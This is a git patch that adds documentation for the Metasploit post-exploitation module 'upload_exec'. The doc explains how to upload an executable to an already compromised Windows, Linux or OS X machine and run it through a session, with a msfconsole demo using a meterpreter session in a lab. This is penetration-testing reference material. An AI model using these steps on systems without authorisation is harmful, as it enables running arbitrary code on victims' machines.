From 8c463ab5706652f374c6b08703f3f7cc68935165 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 24 Apr 2017 17:00:09 -0500 Subject: [PATCH] Add doc for upload_exec --- .../modules/post/multi/manage/upload_exec.md | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 documentation/modules/post/multi/manage/upload_exec.md diff --git a/documentation/modules/post/multi/manage/upload_exec.md b/documentation/modules/post/multi/manage/upload_exec.md new file mode 100644 index 0000000000..a300f2b2b7 --- /dev/null +++ b/documentation/modules/post/multi/manage/upload_exec.md @@ -0,0 +1,68 @@ +This module allows you to upload a binary file, and automatically execute it. + +## Vulnerable Application + +The following platforms are supported: + + +* Windows +* Linux +* OS X + +## Verification Steps + +1. Prepare for an executable file you wish to upload and execute. +2. Obtain a session from the target machine. +3. In msfconsole, do ```use post/multi/manage/upload_exec``` +4. Set the ```LFILE``` option +5. Set the ```RFILE``` option +6. Set the ```SESSION``` option +7. ```run``` + +## Options + +**LFILE** + +The file on your machine that you want to upload to the target machine. + +**RFILE** + +The file path on the target machine. This defaults to LFILE. + +## Demo + +``` +msf > use post/multi/manage/upload_exec +msf post(upload_exec) > show options + +Module options (post/multi/manage/upload_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LFILE yes Local file to upload and execute + RFILE no Name of file on target (default is basename of LFILE) + SESSION yes The session to run this module on. + +msf post(upload_exec) > set lfile /tmp/ +lfile => /tmp/ +msf post(upload_exec) > set lfile /tmp/msg.exe +lfile => /tmp/msg.exe +msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe +rfile => C:\Users\sinn3r\Desktop\msg.exe +msf post(upload_exec) > sessions + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 meterpreter x86/windows WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM 192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149) + +msf post(upload_exec) > set session 1 +session => 1 + +msf post(upload_exec) > run + +[-] Post interrupted by the console user +[*] Post module execution completed +```